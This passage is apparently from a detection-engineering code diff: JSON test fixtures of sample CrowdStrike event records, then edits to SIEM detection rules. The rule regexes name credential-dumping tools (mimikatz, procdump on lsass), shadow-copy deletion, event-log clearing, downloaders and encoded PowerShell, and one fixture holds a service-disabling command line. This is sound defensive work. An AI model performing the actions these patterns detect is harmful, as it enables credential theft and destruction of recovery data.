"sc.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Windows\\System32", + "CommandLine": "\"C:\\Windows\\System32\\sc.exe\" config ExampleService start= disabled", + "ParentImageFileName": "explorer.exe", + "ParentCommandLine": "\"C:\\Windows\\explorer.exe\"", + "SHA256String": "1111111111111111111111111111111111111111111111111111111111111111", + "MD5String": "22222222222222222222222222222222", + "Severity": 4, + "SeverityName": "High", + "Tactic": "Defense Evasion", + "Technique": "Impair Defenses", + "Objective": "Follow Through", + "PatternId": 10015, + "PatternDispositionValue": 16, + "PatternDispositionDescription": "Example disposition: prevention policy disabled.", + "PatternDispositionFlags": { + "Detect": true, + "KillProcess": false, + "PolicyDisabled": true, + "ProcessBlocked": false + }, + "ProcessId": 4015, + "ParentProcessId": 3015, + "ProcessStartTime": 1790000115, + "FalconHostLink": "https://falcon.example.invalid/activity/detections/detail/0000000000000000000000000000000f" + } + }, + "expected": { + "origin.host": "ws-example-15", + "origin.ip": "192.0.2.15", + "origin.operatingSystem": "Windows", + "origin.user": "example.admin", + "log.eventCommandLine": "\"C:\\Windows\\System32\\sc.exe\" config ExampleService start= disabled" + }, + "absent": [ + "log.event.CommandLine" + ], + "rules": [ + "endpoint_or_XDR_detection_alert.yml", + "security_defenses_impaired_or_policy_disabled.yml" + ] + }, + { + "name": "api-trace-service-message", + "purpose": "An API audit record: trace_id, ServiceName and Message are each renamed once.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 201, + "eventType": "APIActivityAuditEvent", + "eventCreationTime": 1790000201000, + "version": "1.0" + }, + "event": { + "UserId": "", + "OperationName": "example_operation", + "ServiceName": "example_service", + "Success": true, + "UTCTimestamp": 1790000201, + "Attributes": { + "APIClientID": "00000000000000000000000000000000", + "request_method": "GET", + "request_path": "/example/entities/v1", + "status_code": "200", + "trace_id": "00000000-0000-4000-8000-000000000201" + }, + "Message": "Example message", + "Source": "example_source", + "SourceIp": "203.0.113.30" + } + }, + "expected": { + "log.eventAttributesTraceID": "00000000-0000-4000-8000-000000000201", + "log.eventServiceName": "example_service", + "log.eventMessage": "Example message", + "origin.ip": "203.0.113.30" + }, + "absent": [ + "log.event.Attributes.trace_id", + "log.event.ServiceName", + "log.event.Message" + ], + "rules": [] + }, + { + "name": "sign-in-failure-source-address", + "purpose": "A failed sign-in record that carries its address as SourceIp.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 202, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1790000202000, + "version": "1.0" + }, + "event": { + "UserId": "example.user@example.com", + "OperationName": "userAuthenticate", + "ServiceName": "example_service", + "Success": false, + "UTCTimestamp": 1790000202, + "Message": "Example sign-in failure", + "Source": "", + "SourceIp": "198.51.100.40" + } + }, + "expected": { + "origin.ip": "198.51.100.40", + "log.eventSuccess": false, + "log.eventServiceName": "example_service", + "log.eventMessage": "Example sign-in failure" + }, + "absent": [ + "log.event.ServiceName", + "log.event.Message" + ], + "rules": [ + "multiple_authentication_failures_(possible_brute_force_attack).yml" + ] + }, + { + "name": "sign-in-failure-no-address", + "purpose": "A failed sign-in record without an address cannot start the brute-force check.", + "raw": { + "metadata": { + "customerIDString": "00000000000000000000000000000000", + "offset": 203, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1790000203000, + "version": "1.0" + }, + "event": { + "UserId": "example.user@example.com", + "OperationName": "userAuthenticate", + "ServiceName": "example_service", + "Success": false, + "UTCTimestamp": 1790000203, + "Message": "Example sign-in failure", + "Source": "" + } + }, + "expected": { + "log.eventSuccess": false + }, + "absent": [ + "origin.ip", + "log.event.ServiceName", + "log.event.Message" + ], + "rules": [] + } + ] +} diff --git a/rules/crowdstrike/inhibit_system_recovery.yml b/rules/crowdstrike/inhibit_system_recovery.yml index 2031b0c39..f3c68ed84 100644 --- a/rules/crowdstrike/inhibit_system_recovery.yml +++ b/rules/crowdstrike/inhibit_system_recovery.yml @@ -12,9 +12,8 @@ impact: integrity: 3 availability: 3 where: > - equals("log.event_simpleName", "ProcessRollup2") && exists("log.eventCommandLine") && regexMatch("log.eventCommandLine", "(?i).*(vssadmin.*delete shadows|wmic.*shadowcopy.*delete|bcdedit.*recoveryenabled.*no).*") groupBy: - - origin.host - - origin.user \ No newline at end of file + - adversary.host + - adversary.user \ No newline at end of file diff --git a/rules/crowdstrike/multiple_authentication_failures_(possible_brute_force_attack).yml b/rules/crowdstrike/multiple_authentication_failures_(possible_brute_force_attack).yml index 1c7ab31cf..287b98cca 100644 --- a/rules/crowdstrike/multiple_authentication_failures_(possible_brute_force_attack).yml +++ b/rules/crowdstrike/multiple_authentication_failures_(possible_brute_force_attack).yml @@ -27,4 +27,4 @@ afterEvents: operator: filter_term value: 'false' deduplicateBy: - - origin.ip \ No newline at end of file + - adversary.ip \ No newline at end of file diff --git a/rules/crowdstrike/os_credential_dumping_activity.yml b/rules/crowdstrike/os_credential_dumping_activity.yml index 2a9d35238..8be788b04 100644 --- a/rules/crowdstrike/os_credential_dumping_activity.yml +++ b/rules/crowdstrike/os_credential_dumping_activity.yml @@ -12,9 +12,8 @@ impact: integrity: 1 availability: 0 where: > - equals("log.event_simpleName", "ProcessRollup2") && exists("log.eventCommandLine") && regexMatch("log.eventCommandLine", "(?i).*(procdump.*lsass|mimikatz|sekurlsa|lsass\\.dmp).*") groupBy: - - origin.host - - origin.user \ No newline at end of file + - adversary.host + - adversary.user \ No newline at end of file diff --git a/rules/crowdstrike/security_defenses_impaired_or_policy_disabled.yml b/rules/crowdstrike/security_defenses_impaired_or_policy_disabled.yml index fb727dae2..031d0cef3 100644 --- a/rules/crowdstrike/security_defenses_impaired_or_policy_disabled.yml +++ b/rules/crowdstrike/security_defenses_impaired_or_policy_disabled.yml @@ -15,5 +15,5 @@ where: > equals("log.eventPatternDispositionFlagsPolicyDisabled", true) || oneOf("log.eventPatternDispositionValue", [8192, 8208, 8320, 8704, 9216, 10240, 12304, 73728, 73744]) groupBy: - - origin.host + - adversary.host - lastEvent.log.eventPatternDispositionDescription \ No newline at end of file diff --git a/rules/crowdstrike/suspicious_downloader_execution_linux_macos.yml b/rules/crowdstrike/suspicious_downloader_execution_linux_macos.yml index d3ae34193..7fa3fc904 100644 --- a/rules/crowdstrike/suspicious_downloader_execution_linux_macos.yml +++ b/rules/crowdstrike/suspicious_downloader_execution_linux_macos.yml @@ -17,5 +17,5 @@ where: > exists("log.eventCommandLine") && regexMatch("log.eventCommandLine", "(?i).*(curl|wget).*http.*") groupBy: - - origin.host + - adversary.host - lastEvent.log.eventCommandLine \ No newline at end of file diff --git a/rules/crowdstrike/suspicious_encoded_powershell_execution.yml b/rules/crowdstrike/suspicious_encoded_powershell_execution.yml index b7e043dee..a293126dc 100644 --- a/rules/crowdstrike/suspicious_encoded_powershell_execution.yml +++ b/rules/crowdstrike/suspicious_encoded_powershell_execution.yml @@ -12,9 +12,8 @@ impact: integrity: 2 availability: 1 where: > - equals("log.event_simpleName", "ProcessRollup2") && exists("log.eventCommandLine") && regexMatch("log.eventCommandLine", "(?i).*(powershell|pwsh).*-(e|en|enc|encodedcommand|ec)\\s+.*") groupBy: - - origin.host + - adversary.host - lastEvent.log.eventCommandLine \ No newline at end of file diff --git a/rules/crowdstrike/suspicious_native_downloaders.yml b/rules/crowdstrike/suspicious_native_downloaders.yml index 6b05dd819..a45cfc381 100644 --- a/rules/crowdstrike/suspicious_native_downloaders.yml +++ b/rules/crowdstrike/suspicious_native_downloaders.yml @@ -12,9 +12,8 @@ impact: integrity: 2 availability: 0 where: > - equals("log.event_simpleName", "ProcessRollup2") && exists("log.eventCommandLine") && regexMatch("log.eventCommandLine", "(?i).*(certutil.*-urlcache|bitsadmin.*-transfer|curl.*http|wget.*http).*") groupBy: - - origin.host + - adversary.host - lastEvent.log.eventCommandLine \ No newline at end of file diff --git a/rules/crowdstrike/windows_event_log_clearing.yml b/rules/crowdstrike/windows_event_log_clearing.yml index c5f50d002..0afc4a99e 100644 --- a/rules/crowdstrike/windows_event_log_clearing.yml +++ b/rules/crowdstrike/windows_event_log_clearing.yml @@ -12,9 +12,8 @@ impact: integrity: 3 availability: 2 where: > - equals("log.event_simpleName", "ProcessRollup2") && exists("log.eventCommandLine") && regexMatch("log.eventCommandLine", "(?i).*(wevtutil\\s+cl.*|Clear-EventLog.*|Remove-EventLog.*).*") groupBy: - - origin.host - - origin.user \ No newline at end of file + - adversary.host + - adversary.user \ No newline at end of file